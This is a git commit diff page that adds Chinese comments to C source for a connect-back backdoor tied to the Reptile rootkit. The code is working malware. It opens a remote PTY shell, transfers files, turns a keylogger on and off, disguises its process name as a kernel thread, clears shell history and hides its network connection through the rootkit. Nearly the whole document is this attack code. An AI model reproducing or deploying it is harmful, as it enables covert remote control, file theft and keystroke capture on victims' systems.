补充shell注释

main^2
waiwai 2 months ago
parent 9c830e3898
commit a9b1a596df

@ -15,7 +15,7 @@
#include "config.h"
#include "pel.h"
#define ERROR -1
#define ERROR -1
unsigned char message[BUFSIZE + 1];
extern char *optarg;
@ -23,224 +23,239 @@ char *rcfile;
#ifndef _REPTILE_
// 打印使用说明
void usage(char *argv0)
{
fprintf(stderr, "Usage: %s [ -t connect_back_host ] ", argv0);
fprintf(stderr, "[ -p port ] [ -s secret ] [ -r delay (optional) ]\n");
fprintf(stderr, "Usage: %s [ -t connect_back_host ] ", argv0);
fprintf(stderr, "[ -p port ] [ -s secret ] [ -r delay (optional) ]\n");
}
#endif
// 获取文件
int get_file(int client)
{
int ret, len, fd;
int ret, len, fd;
ret = pel_recv_msg(client, message, &len);
// 接收文件名
ret = pel_recv_msg(client, message, &len);
if (ret != PEL_SUCCESS)
return (ERROR);
if (ret != PEL_SUCCESS)
return (ERROR);
if (message[0] == OUT)
return 1;
if (message[0] == OUT)
return 1;
message[len] = '\0';
message[len] = '\0';
fd = open((char *)message, O_RDONLY);
// 打开文件
fd = open((char *)message, O_RDONLY);
if (fd < 0)
return (ERROR);
if (fd < 0)
return (ERROR);
while (1) {
len = read(fd, message, BUFSIZE);
// 读取文件内容并发送
while (1) {
len = read(fd, message, BUFSIZE);
if (len == 0)
break;
if (len < 0)
return (ERROR);
if (len == 0)
break;
if (len < 0)
return (ERROR);
ret = pel_send_msg(client, message, len);
ret = pel_send_msg(client, message, len);
if (ret != PEL_SUCCESS)
return (ERROR);
}
return 0;
if (ret != PEL_SUCCESS)
return (ERROR);
}
return 0;
}
// 上传文件
int put_file(int client)
{
int ret, len, fd;
int ret, len, fd;
ret = pel_recv_msg(client, message, &len);
// 接收文件名
ret = pel_recv_msg(client, message, &len);
if (ret != PEL_SUCCESS)
return (ERROR);
if (ret != PEL_SUCCESS)
return (ERROR);
if (message[0] == OUT)
return (ERROR);
if (message[0] == OUT)
return (ERROR);
message[len] = '\0';
fd = creat((char *)message, 0644);
message[len] = '\0';
fd = creat((char *)message, 0644);
if (fd < 0)
return (ERROR);
if (fd < 0)
return (ERROR);
while (1) {
ret = pel_recv_msg(client, message, &len);
// 接收文件内容并写入
while (1) {
ret = pel_recv_msg(client, message, &len);
if (ret != PEL_SUCCESS)
return (ERROR);
if (ret != PEL_SUCCESS)
return (ERROR);
if (strncmp((char *)message, EXIT, EXIT_LEN) == 0)
break;
if (strncmp((char *)message, EXIT, EXIT_LEN) == 0)
break;
if (write(fd, message, len) != len)
return (ERROR);
}
return 0;
if (write(fd, message, len) != len)
return (ERROR);
}
return 0;
}
// 运行 shell
int runshell(int client)
{
fd_set rd;
struct winsize ws;
char *slave, *temp, *shell;
int ret, len, pid, pty, tty, n;
fd_set rd;
struct winsize ws;
char *slave, *temp, *shell;
int ret, len, pid, pty, tty, n;
if (openpty(&pty, &tty, NULL, NULL, NULL) < 0)
return (ERROR);
// 打开伪终端
if (openpty(&pty, &tty, NULL, NULL, NULL) < 0)
return (ERROR);
slave = ttyname(tty);
slave = ttyname(tty);
if (slave == NULL)
return (ERROR);
if (slave == NULL)
return (ERROR);
chdir(HOMEDIR);
putenv("HISTFILE=");
chdir(HOMEDIR);
putenv("HISTFILE=");
ret = pel_recv_msg(client, message, &len);
// 接收终端类型
ret = pel_recv_msg(client, message, &len);
if (ret != PEL_SUCCESS)
return (ERROR);
if (ret != PEL_SUCCESS)
return (ERROR);
message[len] = '\0';
setenv("TERM", (char *)message, 1);
message[len] = '\0';
setenv("TERM", (char *)message, 1);
ret = pel_recv_msg(client, message, &len);
// 接收窗口大小
ret = pel_recv_msg(client, message, &len);
if (ret != PEL_SUCCESS || len != 4)
return (ERROR);
if (ret != PEL_SUCCESS || len != 4)
return (ERROR);
ws.ws_row = ((int)message[0] << 8) + (int)message[1];
ws.ws_col = ((int)message[2] << 8) + (int)message[3];
ws.ws_xpixel = 0;
ws.ws_ypixel = 0;
ws.ws_row = ((int)message[0] << 8) + (int)message[1];
ws.ws_col = ((int)message[2] << 8) + (int)message[3];
ws.ws_xpixel = 0;
ws.ws_ypixel = 0;
if (ioctl(pty, TIOCSWINSZ, &ws) < 0)
return (ERROR);
if (ioctl(pty, TIOCSWINSZ, &ws) < 0)
return (ERROR);
ret = pel_recv_msg(client, message, &len);
// 接收命令
ret = pel_recv_msg(client, message, &len);
if (ret != PEL_SUCCESS)
return (ERROR);
if (ret != PEL_SUCCESS)
return (ERROR);
if (len == 1 && message[0] == RUNSHELL) {
temp = (char *)malloc(20 + strlen(rcfile));
if (len == 1 && message[0] == RUNSHELL) {
temp = (char *)malloc(20 + strlen(rcfile));
if (temp == NULL)
return (ERROR);
if (temp == NULL)
return (ERROR);
strcpy(temp, "exec bash --rcfile ");
strcat(temp, rcfile);
} else {
message[len] = '\0';
temp = (char *)malloc(len + 1);
strcpy(temp, "exec bash --rcfile ");
strcat(temp, rcfile);
} else {
message[len] = '\0';
temp = (char *)malloc(len + 1);
if (temp == NULL)
return (ERROR);
if (temp == NULL)
return (ERROR);
strncpy(temp, (char *)message, len + 1);
}
strncpy(temp, (char *)message, len + 1);
}
pid = fork();
// 创建子进程
pid = fork();
if (pid < 0) {
free(temp);
return (ERROR);
}
if (pid < 0) {
free(temp);
return (ERROR);
}
if (pid == 0) {
close(client);
close(pty);
if (pid == 0) {
close(client);
close(pty);
if (setsid() < 0) {
free(temp);
return (ERROR);
}
if (setsid() < 0) {
free(temp);
return (ERROR);
}
if (ioctl(tty, TIOCSCTTY, NULL) < 0) {
free(temp);
return (ERROR);
}
if (ioctl(tty, TIOCSCTTY, NULL) < 0) {
free(temp);
return (ERROR);
}
dup2(tty, 0);
dup2(tty, 1);
dup2(tty, 2);
dup2(tty, 0);
dup2(tty, 1);
dup2(tty, 2);
if (tty > 2)
close(tty);
if (tty > 2)
close(tty);
shell = (char *)malloc(10);
shell = (char *)malloc(10);
if (shell == NULL) {
free(temp);
return (ERROR);
}
if (shell == NULL) {
free(temp);
return (ERROR);
}
strcpy(shell, "/bin/bash");
strcpy(shell, "/bin/bash");
execl(shell, shell + 5, "-c", temp, (char *)0);
free(temp);
free(shell);
execl(shell, shell + 5, "-c", temp, (char *)0);
free(temp);
free(shell);
return 0;
} else {
close(tty);
return 0;
} else {
close(tty);
while (1) {
FD_ZERO(&rd);
FD_SET(client, &rd);
FD_SET(pty, &rd);
// 处理数据传输
while (1) {
FD_ZERO(&rd);
FD_SET(client, &rd);
FD_SET(pty, &rd);
n = (pty > client) ? pty : client;
n = (pty > client) ? pty : client;
if (select(n + 1, &rd, NULL, NULL, NULL) < 0)
return (ERROR);
if (select(n + 1, &rd, NULL, NULL, NULL) < 0)
return (ERROR);
if (FD_ISSET(client, &rd)) {
ret = pel_recv_msg(client, message, &len);
if (FD_ISSET(client, &rd)) {
ret = pel_recv_msg(client, message, &len);
if (ret != PEL_SUCCESS)
return (ERROR);
if (write(pty, message, len) != len)
return (ERROR);
}
if (ret != PEL_SUCCESS)
return (ERROR);
if (write(pty, message, len) != len)
return (ERROR);
}
if (FD_ISSET(pty, &rd)) {
len = read(pty, message, BUFSIZE);
if (FD_ISSET(pty, &rd)) {
len = read(pty, message, BUFSIZE);
if (len == 0)
break;
if (len < 0)
return (ERROR);
if (len == 0)
break;
if (len < 0)
return (ERROR);
ret = pel_send_msg(client, message, len);
ret = pel_send_msg(client, message, len);
if (ret != PEL_SUCCESS)
return (ERROR);
}
}
return 0;
}
if (ret != PEL_SUCCESS)
return (ERROR);
}
}
return 0;
}
}
#ifdef _REPTILE_
@ -249,260 +264,265 @@ int runshell(int client)
#define UNHIDE 0
struct control {
unsigned short cmd;
void *argv;
unsigned short cmd;
void *argv;
};
// 隐藏连接
void hide_conn(struct sockaddr_in addr, int hide)
{
struct control args;
int sockioctl = socket(AF_INET, SOCK_STREAM, 6);
struct control args;
int sockioctl = socket(AF_INET, SOCK_STREAM, 6);
if (sockioctl < 0)
exit(1);
if (sockioctl < 0)
exit(1);
if (hide) {
args.cmd = 4;
} else {
args.cmd = 5;
}
if (hide) {
args.cmd = 4;
} else {
args.cmd = 5;
}
args.argv = &addr;
args.argv = &addr;
if (ioctl(sockioctl, AUTH, HTUA) == 0) {
if (ioctl(sockioctl, AUTH, &args) == 0)
ioctl(sockioctl, AUTH, HTUA);
}
if (ioctl(sockioctl, AUTH, HTUA) == 0) {
if (ioctl(sockioctl, AUTH, &args) == 0)
ioctl(sockioctl, AUTH, HTUA);
}
close(sockioctl);
close(sockioctl);
}
#endif
// 构建 rcfile 路径
int build_rcfile_path(void)
{
char *name = NAME;
int len = 6 + strlen(name) + strlen(name);
char *name = NAME;
int len = 6 + strlen(name) + strlen(name);
rcfile = (char *)malloc(len);
rcfile = (char *)malloc(len);
if (rcfile == NULL)
return -1;
if (rcfile == NULL)
return -1;
snprintf(rcfile, len, "/%s/%s_rc", name, name);
return 0;
snprintf(rcfile, len, "/%s/%s_rc", name, name);
return 0;
}
int main(int argc, char **argv)
{
int ret, len, pid, opt, client, arg0_len, delay = 0;
short int connect_back_port = 0;
char *connect_back_host = NULL;
char *secret = NULL;
struct sockaddr_in client_addr;
struct hostent *client_host;
socklen_t n;
while ((opt = getopt(argc, argv, "t:s:p:r:")) != -1) {
switch (opt) {
case 't':
connect_back_host = strdup(optarg);
break;
case 'p':
connect_back_port = atoi(optarg);
if (!connect_back_port) {
int ret, len, pid, opt, client, arg0_len, delay = 0;
short int connect_back_port = 0;
char *connect_back_host = NULL;
char *secret = NULL;
struct sockaddr_in client_addr;
struct hostent *client_host;
socklen_t n;
// 解析命令行参数
while ((opt = getopt(argc, argv, "t:s:p:r:")) != -1) {
switch (opt) {
case 't':
connect_back_host = strdup(optarg);
break;
case 'p':
connect_back_port = atoi(optarg);
if (!connect_back_port) {
#ifndef _REPTILE_
usage(*argv);
usage(*argv);
#endif
goto out;
}
break;
case 's':
secret = strdup(optarg);
break;
case 'r':
delay = atoi(optarg);
break;
default:
goto out;
}
break;
case 's':
secret = strdup(optarg);
break;
case 'r':
delay = atoi(optarg);
break;
default:
#ifndef _REPTILE_
usage(*argv);
usage(*argv);
#endif
exit(1);
break;
}
}
exit(1);
break;
}
}
if (connect_back_host == NULL || connect_back_port == 0 ||
secret == NULL) {
if (connect_back_host == NULL || connect_back_port == 0 ||
secret == NULL) {
#ifndef _REPTILE_
usage(*argv);
usage(*argv);
#endif
goto out;
}
arg0_len = strlen(argv[0]);
bzero(argv[0], arg0_len);
if (arg0_len >= 7)
strcpy(argv[0], "[ata/0]");
if(argv[1])
bzero(argv[1], strlen(argv[1]));
if(argv[2])
bzero(argv[2], strlen(argv[2]));
if(argv[3])
bzero(argv[3], strlen(argv[3]));
if(argv[4])
bzero(argv[4], strlen(argv[4]));
if(argv[5])
bzero(argv[5], strlen(argv[5]));
if(argv[6])
bzero(argv[6], strlen(argv[6]));
if(argv[7])
bzero(argv[7], strlen(argv[7]));
if(argv[8])
bzero(argv[8], strlen(argv[8]));
if (build_rcfile_path())
goto out;
pid = fork();
if (pid < 0)
return (ERROR);
if (pid != 0)
return 0;
if (setsid() < 0)
return (ERROR);
for (n = 0; n < 1024; n++)
close(n);
do {
if (delay > 0)
sleep(delay);
client = socket(PF_INET, SOCK_STREAM, 0);
if (client < 0)
continue;
client_host = gethostbyname(connect_back_host);
if (client_host == NULL)
continue;
memcpy((void *)&client_addr.sin_addr,
(void *)client_host->h_addr, client_host->h_length);
client_addr.sin_family = AF_INET;
client_addr.sin_port = htons(connect_back_port);
ret = connect(client, (struct sockaddr *)&client_addr,
sizeof(client_addr));
if (ret < 0) {
close(client);
continue;
}
goto out;
}
// 隐藏进程名称
arg0_len = strlen(argv[0]);
bzero(argv[0], arg0_len);
if (arg0_len >= 7)
strcpy(argv[0], "[ata/0]");
if(argv[1])
bzero(argv[1], strlen(argv[1]));
if(argv[2])
bzero(argv[2], strlen(argv[2]));
if(argv[3])
bzero(argv[3], strlen(argv[3]));
if(argv[4])
bzero(argv[4], strlen(argv[4]));
if(argv[5])
bzero(argv[5], strlen(argv[5]));
if(argv[6])
bzero(argv[6], strlen(argv[6]));
if(argv[7])
bzero(argv[7], strlen(argv[7]));
if(argv[8])
bzero(argv[8], strlen(argv[8]));
if (build_rcfile_path())
goto out;
// 创建子进程
pid = fork();
if (pid < 0)
return (ERROR);
if (pid != 0)
return 0;
if (setsid() < 0)
return (ERROR);
for (n = 0; n < 1024; n++)
close(n);
do {
if (delay > 0)
sleep(delay);
client = socket(PF_INET, SOCK_STREAM, 0);
if (client < 0)
continue;
client_host = gethostbyname(connect_back_host);
if (client_host == NULL)
continue;
memcpy((void *)&client_addr.sin_addr,
(void *)client_host->h_addr, client_host->h_length);
client_addr.sin_family = AF_INET;
client_addr.sin_port = htons(connect_back_port);
ret = connect(client, (struct sockaddr *)&client_addr,
sizeof(client_addr));
if (ret < 0) {
close(client);
continue;
}
#ifdef _REPTILE_
hide_conn(client_addr, HIDE);
hide_conn(client_addr, HIDE);
#endif
ret = pel_server_init(client, secret);
ret = pel_server_init(client, secret);
if (ret != PEL_SUCCESS) {
shutdown(client, 2);
if (ret != PEL_SUCCESS) {
shutdown(client, 2);
#ifdef _REPTILE_
hide_conn(client_addr, UNHIDE);
hide_conn(client_addr, UNHIDE);
#endif
continue;
}
continue;
}
connect:
connect:
ret = pel_recv_msg(client, message, &len);
ret = pel_recv_msg(client, message, &len);
if (ret == PEL_SUCCESS || len == 1) {
if (strcmp((char *)message, EXIT) == 0)
goto end;
if (ret == PEL_SUCCESS || len == 1) {
if (strcmp((char *)message, EXIT) == 0)
goto end;
switch (message[0]) {
case GET_FILE:
ret = get_file(client);
switch (message[0]) {
case GET_FILE:
ret = get_file(client);
if (ret)
goto connect;
if (ret)
goto connect;
if (pel_send_msg(client, (unsigned char *)EXIT,
EXIT_LEN) != PEL_SUCCESS)
goto end;
if (pel_send_msg(client, (unsigned char *)EXIT,
EXIT_LEN) != PEL_SUCCESS)
goto end;
goto connect;
case PUT_FILE:
put_file(client);
goto connect;
case RUNSHELL:
runshell(client);
if (pel_send_msg(client, (unsigned char *)EXIT,
EXIT_LEN) != PEL_SUCCESS)
goto end;
goto connect;
case PUT_FILE:
put_file(client);
goto connect;
case RUNSHELL:
runshell(client);
if (pel_send_msg(client, (unsigned char *)EXIT,
EXIT_LEN) != PEL_SUCCESS)
goto end;
goto connect;
case SET_DELAY:
if (pel_recv_msg(client, message, &len) !=
PEL_SUCCESS)
goto end;
goto connect;
case SET_DELAY:
if (pel_recv_msg(client, message, &len) !=
PEL_SUCCESS)
goto end;
if (message[0] == 5)
goto connect;
if (message[0] == 5)
goto connect;
message[len] = '\0';
delay = atoi((char *)message);
message[len] = '\0';
delay = atoi((char *)message);
goto connect;
case 'K': // 添加 keysniffer 命令处理
if (pel_recv_msg(client, message, &len) != PEL_SUCCESS)
goto end;
if (strcmp((char *)message, "start") == 0) {
start_keysniffer();
goto connect;
case 'K': // 添加 keysniffer 命令处理
if (pel_recv_msg(client, message, &len) != PEL_SUCCESS)
goto end;
if (strcmp((char *)message, "start") == 0) {
start_keysniffer();
}
else if (strcmp((char *)message, "stop") == 0) {
stop_keysniffer();
else if (strcmp((char *)message, "stop") == 0) {
stop_keysniffer();
}
if (pel_send_msg(client, (unsigned char *)EXIT, EXIT_LEN) != PEL_SUCCESS)
goto end;
goto end;
goto connect;
default:
break;
}
}
end:
shutdown(client, 2);
default:
break;
}
}
end:
shutdown(client, 2);
#ifdef _REPTILE_
hide_conn(client_addr, UNHIDE);
hide_conn(client_addr, UNHIDE);
#endif
} while (delay > 0);
} while (delay > 0);
out:
if (connect_back_host)
free(connect_back_host);
if (connect_back_host)
free(connect_back_host);
if (secret)
free(secret);
if (secret)
free(secret);
return 0;
}
return 0;
}
Loading…
Cancel
Save